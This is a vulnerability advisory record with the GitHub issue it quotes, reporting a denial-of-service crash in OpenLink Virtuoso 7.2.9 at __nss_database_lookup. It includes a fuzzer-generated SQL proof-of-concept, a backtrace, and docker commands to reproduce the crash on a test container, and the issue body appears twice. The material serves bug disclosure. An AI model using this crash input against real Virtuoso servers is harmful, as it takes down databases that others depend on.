An issue in the __nss_database_lookup component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*
75FD7F91-D201-4286-8F97-D2D1C7C9D4C3
OR
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (c1 INT, c2 BINARY(100),c3 FLOAT);
INSERT INTO t1 VALUES (100,'abcdefghij',3.0);
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (2,'abcde');
UPDATE t1 SET c2 = (SELECT MAX(c1) FROM t2);
```
backtrace:
```c
#0 0x7fd63dbe3a7d (__nss_database_lookup+0x2861d)
#1 0xffffffffffffffff -- no symbol name found
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at __nss_database_lookup
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at __nss_database_lookup
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (c1 INT, c2 BINARY(100),c3 FLOAT);
INSERT INTO t1 VALUES (100,'abcdefghij',3.0);
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (2,'abcde');
UPDATE t1 SET c2 = (SELECT MAX(c1) FROM t2);
```
backtrace:
```c
#0 0x7fd63dbe3a7d (__nss_database_lookup+0x2861d)
#1 0xffffffffffffffff -- no symbol name found
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---

comments :
--- start comments ---

--- end comments ---